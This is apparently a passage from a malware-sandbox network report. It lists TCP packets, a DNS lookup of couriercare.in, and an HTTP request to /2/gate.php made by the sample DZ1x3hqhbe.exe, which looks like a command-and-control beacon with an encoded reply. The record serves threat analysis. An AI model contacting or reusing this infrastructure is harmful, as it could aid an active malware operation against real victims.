Dec 29, 2023 12:06:53.017256021 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017267942 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017271996 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017280102 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017291069 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017293930 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017301083 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017304897 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017318010 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017329931 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017333031 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017343044 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017354965 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017355919 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017366886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017378092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017379045 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017390966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017398119 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017422915 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017517090 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017529964 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017540932 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017551899 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017563105 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017564058 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017574072 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017576933 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017590046 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017600060 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017602921 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017611980 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017622948 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017628908 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017636061 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017647982 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017647982 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017658949 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017663002 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017671108 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017682076 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017687082 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017694950 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017707109 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017714024 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017718077 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017724991 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017729998 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017740965 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017745018 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017752886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017765045 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017771959 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017806053 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017817020 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017828941 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017841101 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017852068 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017860889 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017863035 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017874002 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017878056 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017890930 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017903090 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017905951 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017915010 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017926931 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017932892 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017940044 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017946005 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017952919 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017965078 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017966986 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017976999 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017988920 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.017996073 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.017999887 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018013000 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018019915 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018023968 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018035889 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018038988 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018048048 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018058062 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018059969 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018073082 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018079996 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018105030 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018105030 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018122911 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018163919 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018176079 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018187046 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018203974 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018203974 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018203974 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018218040 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018229961 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018239021 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018243074 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018255949 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018260956 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018260956 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018269062 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018280029 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018284082 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018292904 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018305063 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018307924 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018317938 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018326998 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018330097 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018342972 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018346071 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018356085 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018366098 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018366098 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018369913 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018383980 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018395901 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018398046 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018408060 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018413067 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018419981 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.018440008 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018454075 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018488884 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.018753052 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.142694950 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142718077 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142729998 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142741919 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142752886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142764091 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142776966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142787933 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142796040 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.142798901 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142812014 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142824888 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142837048 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142848015 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142848969 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.142862082 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142863989 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.142874956 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142874956 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.142904043 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.142927885 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.142940044 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142951965 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142963886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142975092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142975092 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.142987967 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.142991066 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.142999887 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143013954 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143040895 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143073082 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143084049 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143095016 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143106937 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143116951 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143119097 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143127918 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143129110 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143141031 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143151045 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143157959 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143162012 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143173933 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143183947 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143186092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143193960 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143198013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143209934 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143220901 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143229961 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143232107 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143244028 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143254042 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143255949 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143265963 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143275976 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143277884 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143290043 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143290997 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143302917 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143315077 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143322945 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143326998 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143338919 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143343925 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143349886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143354893 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143361092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143373966 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143410921 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143421888 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143435001 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143445969 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143457890 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143467903 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143470049 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143481970 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143507957 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143551111 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143563986 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143573999 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143584967 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143593073 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143598080 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143609047 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143610001 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143620968 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143632889 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143640041 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143644094 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143655062 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143662930 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143666983 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143678904 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143682003 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143690109 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143701077 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143702984 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143712997 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143723011 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143728971 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143735886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143748045 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143754005 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143759966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143774986 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143785000 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143794060 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143805981 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143815994 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143819094 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143827915 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143831968 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143840075 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143842936 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143851995 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143863916 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143868923 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143873930 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143886089 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143893957 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143898010 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143910885 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143915892 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143942118 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143953085 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.143963099 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143975019 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143985987 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.143997908 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144009113 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144010067 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144021034 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144031048 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144033909 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144046068 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144074917 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144095898 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144108057 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144119024 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144129038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144140959 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144145966 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144153118 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144160986 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144164085 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144176006 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144179106 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144190073 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144201040 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144207001 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144213915 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144226074 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144232988 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144237995 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144248962 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144251108 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144260883 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144264936 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144273043 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144284010 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.144290924 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144315958 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.144334078 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:54.540951014 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:54.540951014 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:54.672058105 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:54.672080994 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:54.672122002 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:54.672127962 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:54.672182083 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:54.803163052 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:54.803210020 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:54.803247929 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:54.803272963 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:54.803402901 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:54.803486109 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:54.934303999 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:54.934318066 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:54.934489012 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:54.934614897 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:54.934674978 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:54.934835911 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:55.065592051 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:55.065661907 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:55.566090107 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:55.566147089 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:56.705293894 CET	49729	80	192.168.2.4	192.187.112.99

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2023 12:06:51.236406088 CET	56623	53	192.168.2.4	1.1.1.1
Dec 29, 2023 12:06:51.389966011 CET	53	56623	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 29, 2023 12:06:51.236406088 CET	192.168.2.4	1.1.1.1	0x736d	Standard query (0)	couriercare.in	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 29, 2023 12:06:51.389966011 CET	1.1.1.1	192.168.2.4	0x736d	No error (0)	couriercare.in		192.187.112.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

couriercare.in

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49729	192.187.112.99	80	1460	C:\Users\user\Desktop\DZ1x3hqhbe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 29, 2023 12:06:51.530868053 CET	99	OUT	GET /2/gate.php HTTP/1.1 Host: couriercare.in Connection: Keep-Alive Cache-Control: no-cache
Dec 29, 2023 12:06:51.670072079 CET	409	IN	HTTP/1.1 200 OK Date: Fri, 29 Dec 2023 11:06:51 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=636d770934fc71f82f88d3ae900743ed; path=/ Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 63 0d 0a 4d 58 77 78 66 44 46 38 4d 58 77 78 66 44 56 78 52 47 78 51 64 56 5a 4c 62 31 4a 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 1cMXwxfDF8MXwxfDVxRGxQdVZLb1J80
